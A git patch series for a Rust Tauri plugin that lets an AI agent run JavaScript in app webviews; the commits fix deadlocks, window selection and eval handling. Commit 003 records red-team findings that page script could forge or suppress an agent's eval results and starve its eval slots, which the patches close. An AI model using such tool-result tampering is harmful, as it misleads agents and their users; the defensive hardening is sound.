From a498fbe9cb646ab9e5a79f4840621c404d28c7aa Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 13:04:52 +1000 Subject: [PATCH 001/167] fix(plugin): main-thread callers run inline; Tauri-command evals go through the bridge MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - on_main: a caller already on the Tauri main thread (a sync command, a menu handler, or a nested bridge call) now runs inline instead of spinning on MAIN_DISPATCH_LOCK — which could deadlock against a background holder whose closure is queued behind it, freezing the UI for the full 10s timeout. The main thread is recorded in plugin setup (which Tauri runs there). - tools.rs: victauri_eval_js / victauri_dom_snapshot called `webview.eval` directly from a tokio worker; they now go through WebviewBridge::eval_webview (main thread + serialized, like every other round trip). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015Bpin9VXT6EoVDhoV8HJWw --- crates/victauri-plugin/src/bridge.rs | 57 +++++++++++++++++++++++++++- crates/victauri-plugin/src/lib.rs | 3 ++ crates/victauri-plugin/src/tools.rs | 18 +++++++-- 3 files changed, 73 insertions(+), 5 deletions(-) diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index 943a16c7..05cce068 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -177,10 +177,25 @@ fn find_window<'a, R: Runtime>( /// Serializing costs effectively nothing: the closures already execute one at a time on the /// single main thread, so this only stops several round trips being in flight *around* it. /// -/// NOTE: the lock is not reentrant. No `on_main` closure may itself call `on_main` — on the main -/// thread `run_on_main_thread` runs inline, so that would self-deadlock. +/// The lock is only taken OFF the main thread: a caller already on the main thread (including +/// an `on_main` closure that calls back into the bridge) runs inline without it — see `on_main`. static MAIN_DISPATCH_LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(()); +/// The Tauri main (UI) thread, recorded by the plugin's `setup` (which Tauri runs there). +static MAIN_THREAD: std::sync::OnceLock = std::sync::OnceLock::new(); + +/// Record the calling thread as the Tauri main thread. Called once from plugin `setup`. +pub(crate) fn record_main_thread() { + let _ = MAIN_THREAD.set(std::thread::current().id()); +} + +/// Whether the current thread is the recorded Tauri main thread (false if not yet recorded). +fn is_main_thread() -> bool { + MAIN_THREAD + .get() + .is_some_and(|id| *id == std::thread::current().id()) +} + /// Run `f` on the Tauri **main (UI) thread** and return its result. /// /// Every webview/window access MUST happen on the main thread. Tauri's window/webview @@ -217,6 +232,17 @@ where use std::sync::atomic::{AtomicBool, Ordering}; let timeout = std::time::Duration::from_secs(10); + // Already ON the main thread (a sync Tauri command, a menu handler, or an `on_main` closure + // that calls back into the bridge): run inline, WITHOUT the dispatch lock. Taking the lock + // here could deadlock — a background holder waits for its closure, which is queued behind + // us on this very thread — freezing the UI for the full timeout. Skipping it is safe: no + // other closure can execute on this thread concurrently, and the heap corruption the lock + // prevents needs several cross-thread round trips in flight, which an inline call is not. + if is_main_thread() { + return std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| f(app))) + .map_err(|_| format!("{what} panicked on the main thread")); + } + let round_trip = move || -> Result { // One round trip at a time (see MAIN_DISPATCH_LOCK). The deadline covers the WAIT FOR // THE LOCK as well as the round trip itself, so serializing cannot stack N callers into @@ -789,3 +815,30 @@ fn win_click(hwnd: isize, x: f64, y: f64) -> Result<(), String> { )) } } + +#[cfg(test)] +mod tests { + use super::{is_main_thread, record_main_thread}; + + #[test] + fn main_thread_is_recorded_once_and_only_that_thread_matches() { + // Record from a dedicated thread (standing in for Tauri's setup thread): only that + // thread is "main"; every other thread — including this test's — is not. + std::thread::spawn(|| { + record_main_thread(); + assert!(is_main_thread(), "the recording thread is the main thread"); + }) + .join() + .unwrap(); + assert!( + !is_main_thread(), + "a different thread must not be treated as main" + ); + std::thread::spawn(|| assert!(!is_main_thread())) + .join() + .unwrap(); + // A second record from another thread must not move it (set-once). + std::thread::spawn(record_main_thread).join().unwrap(); + assert!(!is_main_thread()); + } +} diff --git a/crates/victauri-plugin/src/lib.rs b/crates/victauri-plugin/src/lib.rs index dc971ab7..f7a71777 100644 --- a/crates/victauri-plugin/src/lib.rs +++ b/crates/victauri-plugin/src/lib.rs @@ -733,6 +733,9 @@ impl VictauriBuilder { Ok(Builder::new("victauri") .setup(move |app, _api| { + // Tauri runs plugin setup on the main (UI) thread — record it so the bridge + // can run main-thread callers inline instead of deadlocking on its lock. + bridge::record_main_thread(); let startup_timeline = introspection::StartupTimeline::new(); let event_log = EventLog::new(event_capacity); startup_timeline.mark("event_log_created"); diff --git a/crates/victauri-plugin/src/tools.rs b/crates/victauri-plugin/src/tools.rs index 3e7bde1e..00855d90 100644 --- a/crates/victauri-plugin/src/tools.rs +++ b/crates/victauri-plugin/src/tools.rs @@ -1,5 +1,5 @@ use std::sync::Arc; -use tauri::{Runtime, State}; +use tauri::{Manager, Runtime, State}; use victauri_core::{IpcCall, WindowState}; use crate::VictauriState; @@ -46,7 +46,13 @@ pub async fn victauri_eval_js( " ); - if let Err(e) = webview.eval(&inject) { + // Through the bridge, i.e. on the main thread and serialized with every other + // round trip — not a direct `webview.eval` from this tokio worker thread. + if let Err(e) = crate::bridge::WebviewBridge::eval_webview( + webview.app_handle(), + Some(webview.label()), + &inject, + ) { state.pending_evals.lock().await.remove(&id); return Err(format!("eval failed: {e}")); } @@ -124,7 +130,13 @@ pub async fn victauri_dom_snapshot( " ); - if let Err(e) = webview.eval(&inject) { + // Through the bridge, i.e. on the main thread and serialized with every other + // round trip — not a direct `webview.eval` from this tokio worker thread. + if let Err(e) = crate::bridge::WebviewBridge::eval_webview( + webview.app_handle(), + Some(webview.label()), + &inject, + ) { state.pending_evals.lock().await.remove(&id); return Err(format!("snapshot eval failed: {e}")); } From f98c7d3169b6b2a618b9826b36887e59198a7ab7 Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 13:21:24 +1000 Subject: [PATCH 002/167] feat(bridge): try_list_window_labels + eval_webview_resolved; deterministic default window MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Default-implemented trait additions (non-breaking for implementors): - try_list_window_labels distinguishes "could not ask the UI thread" from "no windows" — an empty list from a wedged UI is not evidence a window closed. - eval_webview_resolved returns the label the script was actually delivered to. find_window's fallbacks no longer depend on HashMap iteration order. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015Bpin9VXT6EoVDhoV8HJWw --- crates/victauri-plugin/src/bridge.rs | 57 +++++++++++++++++++++++++--- 1 file changed, 51 insertions(+), 6 deletions(-) diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index 05cce068..269c3568 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -15,6 +15,27 @@ pub trait WebviewBridge: Send + Sync { fn get_window_states(&self, label: Option<&str>) -> Vec; /// Return the labels of all open webview windows. fn list_window_labels(&self) -> Vec; + /// Like [`list_window_labels`](Self::list_window_labels), but distinguishes "could not + /// ask" (e.g. the UI thread did not answer in time) from "there are no windows". A caller + /// deciding that a window is GONE must use this — an empty list from a wedged UI is not + /// evidence of anything. + /// + /// # Errors + /// + /// Returns an error string if the window list could not be obtained. + fn try_list_window_labels(&self) -> Result, String> { + Ok(self.list_window_labels()) + } + /// Like [`eval_webview`](Self::eval_webview), but returns the label of the window the + /// script was actually delivered to (for `None`, the resolved default window). + /// + /// # Errors + /// + /// Returns an error string if no matching window is found or the eval fails. + fn eval_webview_resolved(&self, label: Option<&str>, script: &str) -> Result { + self.eval_webview(label, script)?; + Ok(label.unwrap_or("main").to_string()) + } /// Return the platform-native window handle for screenshot capture. /// Windows: `HWND`, macOS: `CGWindowID` (window number), Linux: `X11` window ID. /// @@ -149,8 +170,18 @@ fn find_window<'a, R: Runtime>( .ok_or_else(|| format!("window not found: {l}")), None => windows .get("main") - .or_else(|| windows.values().find(|w| w.is_visible().unwrap_or(false))) - .or_else(|| windows.values().next()) + // Deterministic fallbacks: `webview_windows()` is a HashMap whose iteration order + // differs between calls, so "first visible" must be chosen by a stable key or two + // consecutive calls can pick different windows. + .or_else(|| { + let mut visible: Vec<_> = windows + .iter() + .filter(|(_, w)| w.is_visible().unwrap_or(false)) + .collect(); + visible.sort_by(|a, b| a.0.cmp(b.0)); + visible.first().map(|(_, w)| *w) + }) + .or_else(|| windows.iter().min_by(|a, b| a.0.cmp(b.0)).map(|(_, w)| w)) .ok_or_else(|| "no window available".to_string()), } } @@ -363,15 +394,29 @@ impl WebviewBridge for tauri::AppHandle { } fn list_window_labels(&self) -> Vec { - on_main(self, "list_window_labels", |app| { - app.webview_windows().keys().cloned().collect() - }) - .unwrap_or_else(|e| { + self.try_list_window_labels().unwrap_or_else(|e| { tracing::warn!("list_window_labels: {e}"); Vec::new() }) } + fn try_list_window_labels(&self) -> Result, String> { + on_main(self, "list_window_labels", |app| { + app.webview_windows().keys().cloned().collect() + }) + } + + fn eval_webview_resolved(&self, label: Option<&str>, script: &str) -> Result { + let label = label.map(str::to_string); + let script = script.to_string(); + on_main(self, "eval_webview", move |app| { + let windows = app.webview_windows(); + let webview = find_window(&windows, label.as_deref())?; + webview.eval(&script).map_err(|e| e.to_string())?; + Ok(webview.label().to_string()) + })? + } + fn get_native_handle(&self, label: Option<&str>) -> Result { let label = label.map(str::to_string); on_main(self, "get_native_handle", move |app| { From 95b747b93140782b8304a1b7c0b5774d25d6663c Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 13:43:54 +1000 Subject: [PATCH 003/167] fix(eval): private eval state, exact-window watch, busy UI != closed window MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Red-team (pre-audit) findings on the eval path: - Pending eval ids lived on a page-visible global (window.__VIC_EVAL__): page script could enumerate them and forge or suppress results. The watchdog and settle state now live in the bridge's closure (frozen, non-configurable API that never reveals an id); serialization uses JSON.stringify captured at init, before any page script. - A main-thread listing that timed out returned [] and was read as "window closed ... it most likely ran" — a busy UI now just keeps waiting; the check runs in its own task so it can't stall the wait past its deadline. - The watched window is the one the script was actually delivered to (eval_webview_resolved), so an unlabeled eval whose default window closes is detected (it was resolved lazily 1s later, to a different live window). - A trailing `// comment` in user code commented out the wrapper and turned the eval into a parse error; the code is now followed by a newline. - Page-originated evals (victauri_eval_js from page JS) get their own 10-slot budget so they cannot starve agent evals of the shared pending map. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015Bpin9VXT6EoVDhoV8HJWw --- crates/victauri-plugin/src/bridge.rs | 6 +- crates/victauri-plugin/src/js_bridge.rs | 50 ++++++ crates/victauri-plugin/src/mcp/mod.rs | 219 ++++++++++++++++-------- crates/victauri-plugin/src/tools.rs | 69 ++++---- 4 files changed, 242 insertions(+), 102 deletions(-) diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index 269c3568..90012d58 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -27,14 +27,16 @@ pub trait WebviewBridge: Send + Sync { Ok(self.list_window_labels()) } /// Like [`eval_webview`](Self::eval_webview), but returns the label of the window the - /// script was actually delivered to (for `None`, the resolved default window). + /// script was actually delivered to (for `None`, the resolved default window). The default + /// implementation returns the requested label, or an EMPTY string when it cannot know which + /// window a `None` label resolved to — callers must treat empty as "unknown". /// /// # Errors /// /// Returns an error string if no matching window is found or the eval fails. fn eval_webview_resolved(&self, label: Option<&str>, script: &str) -> Result { self.eval_webview(label, script)?; - Ok(label.unwrap_or("main").to_string()) + Ok(label.map(str::to_string).unwrap_or_default()) } /// Return the platform-native window handle for screenshot capture. /// Windows: `HWND`, macOS: `CGWindowID` (window number), Linux: `X11` window ID. diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index 0fec6059..f775b803 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -274,12 +274,62 @@ const INIT_SCRIPT_BODY: &str = r#" }); } + // ── Eval bookkeeping (closure-private) ────────────────────────────────── + // + // The per-eval state used to live on a page-visible global (`window.__VIC_EVAL__`), so page + // script could enumerate pending eval ids and forge their results via the callback command, + // or suppress every result. It now lives in this closure, reachable only through the frozen, + // non-configurable `__VICTAURI__` methods below, which never reveal an id. Serialization uses + // `JSON.stringify` captured here, at init, before any page script can replace it. + var PRISTINE_STRINGIFY = JSON.stringify; + var evalState = new Map(); + function evalCallback(id, body) { + try { + return window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', { id: id, result: body }); + } catch (e) { return null; } + } + // ── Public API ─────────────────────────────────────────────────────────── window.__VICTAURI__ = { version: '__VICTAURI_BRIDGE_VERSION__', _captureIpcBodies: true, + // Eval plumbing used by Victauri's injected eval scripts (not a user API). + // Arm the parse watchdog: if the user-code script never begins executing within `ms` + // (almost always a syntax error, which fails the whole script), report that instead of + // letting the caller wait for its full timeout. + _evalArm: function(id, ms) { + id = String(id); + if (evalState.has(id)) return; + var s = { started: false, done: false }; + evalState.set(id, s); + setTimeout(function() { + if (s.started || s.done) return; + s.done = true; + evalState.delete(id); + evalCallback(id, PRISTINE_STRINGIFY({ __victauri_err: 'code did not begin executing within ' + ms + 'ms — this almost always means a syntax/parse error in the submitted code (or the page main thread was blocked)' })); + }, ms); + }, + _evalBegin: function(id) { + var s = evalState.get(String(id)); + if (s) s.started = true; + }, + // Deliver an eval's outcome exactly once (a later settle for the same id is ignored). + _evalSettle: function(id, payload) { + id = String(id); + var s = evalState.get(id); + if (s) { + if (s.done) return null; + s.done = true; + evalState.delete(id); + } + var body; + try { body = PRISTINE_STRINGIFY(payload); } + catch (e) { body = PRISTINE_STRINGIFY({ __victauri_err: String((e && e.message) || e) }); } + return evalCallback(id, body); + }, + // ── DOM ────────────────────────────────────────────────────────────── snapshot: function(format) { diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 3c0b8291..e720c75c 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -4179,18 +4179,6 @@ impl VictauriMcpHandler { events } - /// The window an unlabeled eval lands on, mirroring the bridge's default selection - /// (`main` → first visible → any). Used only to detect the window disappearing mid-call. - fn default_window_label(&self) -> Option { - let states = self.bridge.get_window_states(None); - states - .iter() - .find(|s| s.label == "main") - .or_else(|| states.iter().find(|s| s.visible)) - .or_else(|| states.first()) - .map(|s| s.label.clone()) - } - /// Resolve the EXACT window a native capture (`screenshot`, `trace`) should target, and /// require it to be visible. A native capture reads the on-screen surface; a hidden window /// has none, so the OS path (`PrintWindow` / `CGWindowListCreateImage`) silently returns @@ -4522,69 +4510,64 @@ impl VictauriMcpHandler { // parse never sets it. A valid-but-slow eval (e.g. a `wait_for` poll) sets `started` // immediately and is left to run to the real timeout — the watchdog only fires when // the code never began executing. + // The watchdog and the settle logic live in the bridge's closure-private state (see + // `_evalArm`/`_evalSettle` in js_bridge.rs): the page can neither enumerate pending eval + // ids nor suppress results, and serialization uses a `JSON.stringify` captured before + // any page script ran. let watchdog = format!( - r" - (function () {{ - window.__VIC_EVAL__ = window.__VIC_EVAL__ || {{}}; - var s = (window.__VIC_EVAL__[{id_js}] = - window.__VIC_EVAL__[{id_js}] || {{ started: false, done: false }}); - setTimeout(function () {{ - if (s.started || s.done) return; - s.done = true; - try {{ - window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ - id: {id_js}, - result: JSON.stringify({{ __victauri_err: 'code did not begin executing within {PARSE_WATCHDOG_MS}ms — this almost always means a syntax/parse error in the submitted code (or the page main thread was blocked)' }}) - }}); - }} catch (e) {{}} - delete window.__VIC_EVAL__[{id_js}]; - }}, {PARSE_WATCHDOG_MS}); - }})(); - " + "(function () {{ var v = window.__VICTAURI__; \ + if (v && v._evalArm) v._evalArm({id_js}, {PARSE_WATCHDOG_MS}); }})();" ); + // `{code}` is followed by a NEWLINE so a trailing `// comment` in the user code cannot + // comment out the rest of the wrapper (it used to turn every such eval into a parse + // error reported as "did not begin executing"). let inject = format!( r" (async () => {{ - var __s = (window.__VIC_EVAL__ && window.__VIC_EVAL__[{id_js}]) || null; - if (__s) __s.started = true; + const __vic = {{ id: {id_js}, bridge: window.__VICTAURI__ }}; + const __settle = (p) => (__vic.bridge && __vic.bridge._evalSettle) + ? __vic.bridge._evalSettle(__vic.id, p) + : window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ + id: __vic.id, result: JSON.stringify(p) + }}); + if (__vic.bridge && __vic.bridge._evalBegin) __vic.bridge._evalBegin(__vic.id); try {{ - const __result = await (async () => {{ {code} }})(); - if (__s) {{ if (__s.done) return; __s.done = true; delete window.__VIC_EVAL__[{id_js}]; }} + const __result = await (async () => {{ {code} + }})(); const __type = __result === undefined ? 'undefined' : __result === null ? 'null' : 'value'; - const __val = __type === 'undefined' ? null - : __type === 'null' ? null : __result; - await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ - id: {id_js}, - result: JSON.stringify({{ __victauri_ok: __val, __victauri_type: __type }}) - }}); + const __val = __type === 'value' ? __result : null; + await __settle({{ __victauri_ok: __val, __victauri_type: __type }}); }} catch (e) {{ - if (__s) {{ if (__s.done) return; __s.done = true; delete window.__VIC_EVAL__[{id_js}]; }} - await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ - id: {id_js}, - result: JSON.stringify({{ __victauri_err: (function (x) {{ - // A Tauri command's `Err(serde struct)` rejects with a plain object: - // `String(obj)` would collapse it to '[object Object]'. - if (x && typeof x.message === 'string') return x.message; - if (typeof x === 'string') return x; - try {{ var s = JSON.stringify(x); if (s !== undefined) return s; }} catch (_) {{}} - try {{ return String(x); }} catch (_) {{ return Object.prototype.toString.call(x); }} - }})(e) }}) - }}); + await __settle({{ __victauri_err: (function (x) {{ + // A Tauri command's `Err(serde struct)` rejects with a plain object: + // ``String(obj)`` would collapse it to '[object Object]'. + if (x && typeof x.message === 'string') return x.message; + if (typeof x === 'string') return x; + try {{ var s = JSON.stringify(x); if (s !== undefined) return s; }} catch (_) {{}} + try {{ return String(x); }} catch (_) {{ return Object.prototype.toString.call(x); }} + }})(e) }}); }} }})(); " ); - // Inject the watchdog first so it is armed before the user code runs. Order is not - // critical (the user-code script no-ops the watchdog state if it ran first), but - // arming first minimises the window. - if let Err(e) = self.bridge.eval_webview(webview_label, &watchdog) { - self.state.pending_evals.lock().await.remove(&id); - return Err(format!("eval injection failed: {e}")); - } - if let Err(e) = self.bridge.eval_webview(webview_label, &inject) { + // Arm the watchdog first, in the window the bridge resolves, then deliver the user code + // to THAT SAME window — so both land together and we know exactly which window to watch. + let target = match self.bridge.eval_webview_resolved(webview_label, &watchdog) { + Ok(label) => label, + Err(e) => { + self.state.pending_evals.lock().await.remove(&id); + return Err(format!("eval injection failed: {e}")); + } + }; + let deliver_to = if target.is_empty() { + webview_label + } else { + Some(target.as_str()) + }; + if let Err(e) = self.bridge.eval_webview(deliver_to, &inject) { self.state.pending_evals.lock().await.remove(&id); return Err(format!("eval injection failed: {e}")); } @@ -4594,14 +4577,19 @@ impl VictauriMcpHandler { // outcome of code that closes its own window or quits the app (e.g. invoking a // `quit_app` command) — reporting them after the full timeout as "an unresolved // promise, an infinite loop…" misled agents into thinking the call never ran. - // Resolved lazily on the first liveness tick, so a fast eval never pays for it. - let mut watched: Option> = None; + // + // The window check runs in its own task: listing windows is a main-thread round trip + // that can take up to its 10s dispatch timeout on a busy UI, and must neither stall this + // wait nor push it past its deadline. A listing that FAILS (a busy or wedged UI) is not + // evidence of anything — only a successful listing that lacks the window is. + let watched: Option = (!target.is_empty()).then_some(target); let mut shutdown = self.state.shutdown_tx.subscribe(); let deadline = tokio::time::Instant::now() + timeout; let mut liveness = tokio::time::interval_at( tokio::time::Instant::now() + EVAL_WINDOW_WATCH_INTERVAL, EVAL_WINDOW_WATCH_INTERVAL, ); + let mut check: Option, String>>> = None; let mut rx = rx; let outcome = loop { tokio::select! { @@ -4618,14 +4606,16 @@ impl VictauriMcpHandler { )); } } - _ = liveness.tick() => { - let watched = watched.get_or_insert_with(|| { - webview_label - .map(str::to_string) - .or_else(|| self.default_window_label()) - }); - if let Some(label) = watched.as_deref() - && !self.bridge.list_window_labels().iter().any(|l| l == label) + _ = liveness.tick(), if watched.is_some() && check.is_none() => { + let bridge = Arc::clone(&self.bridge); + check = Some(tokio::spawn(async move { bridge.try_list_window_labels() })); + } + listed = async { check.as_mut().expect("guarded by precondition").await }, + if check.is_some() => + { + check = None; + if let (Ok(Ok(labels)), Some(label)) = (listed, watched.as_deref()) + && !labels.iter().any(|l| l == label) { break Err(Some(format!( "window '{label}' was closed while the call was in flight, so no \ @@ -4637,7 +4627,9 @@ impl VictauriMcpHandler { } } }; - + if let Some(pending_check) = check { + pending_check.abort(); + } let early = match outcome { Ok(r) => Ok(r), Err(Some(msg)) => { @@ -6523,6 +6515,91 @@ mod command_policy_dispatch_tests { ); } + /// A bridge whose UI thread never answers a window listing (a busy/wedged UI), but which + /// otherwise behaves like `RecordingBridge`. + struct WedgedListingBridge(RecordingBridge); + + impl WebviewBridge for WedgedListingBridge { + fn eval_webview(&self, label: Option<&str>, script: &str) -> Result<(), String> { + self.0.eval_webview(label, script) + } + fn get_window_states(&self, label: Option<&str>) -> Vec { + self.0.get_window_states(label) + } + fn list_window_labels(&self) -> Vec { + Vec::new() + } + fn try_list_window_labels(&self) -> Result, String> { + Err("list_window_labels did not complete on the main thread: timed out".to_string()) + } + fn get_native_handle(&self, label: Option<&str>) -> Result { + self.0.get_native_handle(label) + } + fn manage_window(&self, label: Option<&str>, action: &str) -> Result { + self.0.manage_window(label, action) + } + fn resize_window(&self, label: Option<&str>, w: u32, h: u32) -> Result<(), String> { + self.0.resize_window(label, w, h) + } + fn move_window(&self, label: Option<&str>, x: i32, y: i32) -> Result<(), String> { + self.0.move_window(label, x, y) + } + fn set_window_title(&self, label: Option<&str>, title: &str) -> Result<(), String> { + self.0.set_window_title(label, title) + } + } + + #[tokio::test] + async fn page_originated_evals_cannot_starve_agent_evals() { + // Red-team: page JS can call victauri_eval_js; with one shared pool it could park + // never-resolving evals in all 100 slots and fail every agent eval. + let state = state_with(PrivacyConfig::default()); + let mut held = Vec::new(); + for i in 0..crate::tools::MAX_PAGE_PENDING_EVALS { + let (tx, rx) = tokio::sync::oneshot::channel(); + let id = format!("{}{i}", crate::tools::PAGE_EVAL_PREFIX); + crate::tools::reserve_page_eval(&state, &id, tx) + .await + .unwrap(); + held.push(rx); + } + let (tx, _rx) = tokio::sync::oneshot::channel(); + let over = crate::tools::reserve_page_eval(&state, "page:over", tx).await; + assert!(over.unwrap_err().contains("page-originated")); + // The agent path still has room. + let bridge = RecordingBridge::answering(state.pending_evals.clone()); + let h = VictauriMcpHandler::new(state.clone(), Arc::new(bridge)); + let (tx, _rx2) = tokio::sync::oneshot::channel(); + assert!(h.reserve_pending("agent-1", tx).await.is_ok()); + drop(held); + } + + #[tokio::test] + async fn a_busy_ui_is_not_mistaken_for_a_closed_window() { + // Red-team finding: a main-thread listing that times out returned `[]`, which the + // eval watch read as "window closed … it most likely ran — do not re-run it". A + // listing that FAILS is not evidence; the eval must run to its own timeout instead. + let Ok(mut s) = Arc::try_unwrap(state_with(PrivacyConfig::default())) else { + unreachable!("fresh Arc has one owner") + }; + s.eval_timeout = std::time::Duration::from_millis(2500); + let state = Arc::new(s); + let bridge = WedgedListingBridge(RecordingBridge::answering(state.pending_evals.clone())); + let h = VictauriMcpHandler::new(state, Arc::new(bridge)); + let r = call( + &h, + "eval_js", + json!({"code": "await new Promise(() => {})", "webview_label": "main"}), + ) + .await; + let text = result_text(&r); + assert!( + !text.contains("was closed"), + "false 'window closed': {text}" + ); + assert!(text.contains("timed out"), "{text}"); + } + #[tokio::test] async fn eval_reports_app_shutdown_instead_of_timing_out() { let state = slow_eval_state(); diff --git a/crates/victauri-plugin/src/tools.rs b/crates/victauri-plugin/src/tools.rs index 00855d90..c6f7b227 100644 --- a/crates/victauri-plugin/src/tools.rs +++ b/crates/victauri-plugin/src/tools.rs @@ -4,34 +4,57 @@ use victauri_core::{IpcCall, WindowState}; use crate::VictauriState; +/// Id prefix for evals started by page JS through these Tauri commands (vs. by an agent). +pub(crate) const PAGE_EVAL_PREFIX: &str = "page:"; +/// Pending-eval slots page-originated evals may hold at once. They share the pending map with +/// the agent's (MCP) evals; without their own small budget, page script could park +/// never-resolving evals in every slot and starve the agent with "too many concurrent evals". +pub(crate) const MAX_PAGE_PENDING_EVALS: usize = 10; + +/// Reserve a pending-eval slot for a page-originated eval, within both the page budget and the +/// global ceiling. +pub(crate) async fn reserve_page_eval( + state: &VictauriState, + id: &str, + tx: tokio::sync::oneshot::Sender, +) -> Result<(), String> { + let mut pending = state.pending_evals.lock().await; + let page_pending = pending + .keys() + .filter(|k| k.starts_with(PAGE_EVAL_PREFIX)) + .count(); + if page_pending >= MAX_PAGE_PENDING_EVALS { + return Err(format!( + "too many concurrent page-originated evals (limit {MAX_PAGE_PENDING_EVALS})" + )); + } + if pending.len() >= crate::mcp::MAX_PENDING_EVALS { + return Err(format!( + "too many concurrent evals (limit {})", + crate::mcp::MAX_PENDING_EVALS + )); + } + pending.insert(id.to_string(), tx); + Ok(()) +} + #[tauri::command] pub async fn victauri_eval_js( webview: tauri::WebviewWindow, state: State<'_, Arc>, code: String, ) -> Result { - let id = uuid::Uuid::new_v4().to_string(); + let id = format!("{PAGE_EVAL_PREFIX}{}", uuid::Uuid::new_v4()); let (tx, rx) = tokio::sync::oneshot::channel(); - { - // Same ceiling the MCP eval path enforces: page JS can reach these commands, and - // never-resolving evals must not be able to fill the shared map and starve every - // agent eval with "too many concurrent" errors. - let mut pending = state.pending_evals.lock().await; - if pending.len() >= crate::mcp::MAX_PENDING_EVALS { - return Err(format!( - "too many concurrent evals (limit {})", - crate::mcp::MAX_PENDING_EVALS - )); - } - pending.insert(id.clone(), tx); - } + reserve_page_eval(&state, &id, tx).await?; let inject = format!( r" (async () => {{ try {{ - const __result = await (async () => {{ {code} }})(); + const __result = await (async () => {{ {code} + }})(); await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ id: '{id}', result: JSON.stringify(__result) @@ -94,22 +117,10 @@ pub async fn victauri_dom_snapshot( webview: tauri::WebviewWindow, state: State<'_, Arc>, ) -> Result { - let id = uuid::Uuid::new_v4().to_string(); + let id = format!("{PAGE_EVAL_PREFIX}{}", uuid::Uuid::new_v4()); let (tx, rx) = tokio::sync::oneshot::channel(); - { - // Same ceiling the MCP eval path enforces: page JS can reach these commands, and - // never-resolving evals must not be able to fill the shared map and starve every - // agent eval with "too many concurrent" errors. - let mut pending = state.pending_evals.lock().await; - if pending.len() >= crate::mcp::MAX_PENDING_EVALS { - return Err(format!( - "too many concurrent evals (limit {})", - crate::mcp::MAX_PENDING_EVALS - )); - } - pending.insert(id.clone(), tx); - } + reserve_page_eval(&state, &id, tx).await?; let inject = format!( r" From c65f69e7d4eee41fec72376c0282593d64aa1316 Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 13:44:33 +1000 Subject: [PATCH 004/167] style(tools): pub items in the private tools module (clippy::redundant_pub_crate) Co-Authored-By: Claude Opus 5.5 (1M context) --- crates/victauri-plugin/src/tools.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/victauri-plugin/src/tools.rs b/crates/victauri-plugin/src/tools.rs index c6f7b227..181e64e5 100644 --- a/crates/victauri-plugin/src/tools.rs +++ b/crates/victauri-plugin/src/tools.rs @@ -5,15 +5,15 @@ use victauri_core::{IpcCall, WindowState}; use crate::VictauriState; /// Id prefix for evals started by page JS through these Tauri commands (vs. by an agent). -pub(crate) const PAGE_EVAL_PREFIX: &str = "page:"; +pub const PAGE_EVAL_PREFIX: &str = "page:"; /// Pending-eval slots page-originated evals may hold at once. They share the pending map with /// the agent's (MCP) evals; without their own small budget, page script could park /// never-resolving evals in every slot and starve the agent with "too many concurrent evals". -pub(crate) const MAX_PAGE_PENDING_EVALS: usize = 10; +pub const MAX_PAGE_PENDING_EVALS: usize = 10; /// Reserve a pending-eval slot for a page-originated eval, within both the page budget and the /// global ceiling. -pub(crate) async fn reserve_page_eval( +pub async fn reserve_page_eval( state: &VictauriState, id: &str, tx: tokio::sync::oneshot::Sender, From 76a3d61728167fd2c6ad9470171486d62e203983 Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 14:10:37 +1000 Subject: [PATCH 005/167] hardening(0.9): CI/release supply chain, init symlink safety, watchdog identity pinning, docs honesty CI / release - release-vscode: split into a secret-free build job (persist-credentials: false, npm ci --ignore-scripts, uploads the .vsix) and an environment-gated publish job that only runs when actually publishing; each token scoped to its one step; a real manual publish must be dispatched on a vscode-v* tag (dry runs work from any branch). - surface-audit: checks all six crates vs the workspace version; an unknown/failed registry query now fails the job with its own message instead of passing silently. - e2e.yml: kept (ci.yml does not run the victauri-test client suites) and fixed: explicit `toolchain: stable` for the SHA-pinned action, prebuilt binary, a `curl -sf` health retry loop instead of `sleep 10`, stderr capture, cleanup. - release.yml: previous tag via `git describe --match 'v[0-9]*' TAG^` (backport-safe). - docs.yml: pages/id-token permissions only on the deploy job. - deny.toml: unknown-registry / unknown-git = deny (cargo deny check sources: ok). - bump-version.sh: portable (no grep -P, sed -i.bak + rm); bump-version.ps1: root is exactly the parent of scripts/. - 